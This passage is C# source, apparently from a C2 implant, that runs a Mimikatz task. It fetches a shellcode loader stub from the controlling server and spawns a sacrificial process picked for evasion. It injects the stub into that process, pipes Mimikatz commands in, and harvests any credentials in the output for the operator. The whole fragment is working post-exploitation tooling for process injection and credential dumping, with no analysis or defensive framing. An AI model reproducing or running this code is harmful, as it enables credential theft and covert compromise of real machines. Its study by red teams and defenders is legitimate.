                job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
                return;
            }

            command = json.Value <string>("command");
            if (string.IsNullOrEmpty(command))
            {
                job.SetError("Require one or more commands to give to Mimikatz.");
                return;
            }

            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            } catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID));
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }

            if (implant.architecture == "x64")
            {
                sacrificialApplication = EvasionManager.SpawnTo64;
            }
            else
            {
                sacrificialApplication = EvasionManager.SpawnTo86;
            }

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(sacrificialApplication, commandLine, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;
                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                response = new ApolloTaskResponse(job.Task, output.ToArray());
                                var credResp = GetCredentialResponse(job.Task, command, output);
                                job.AddOutput(response);
                                if (credResp.credentials != null && credResp.credentials.Length > 0)
                                {
                                    job.AddOutput(credResp);
                                }
                                output.Clear();
                            }
                            job.SetComplete("");
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }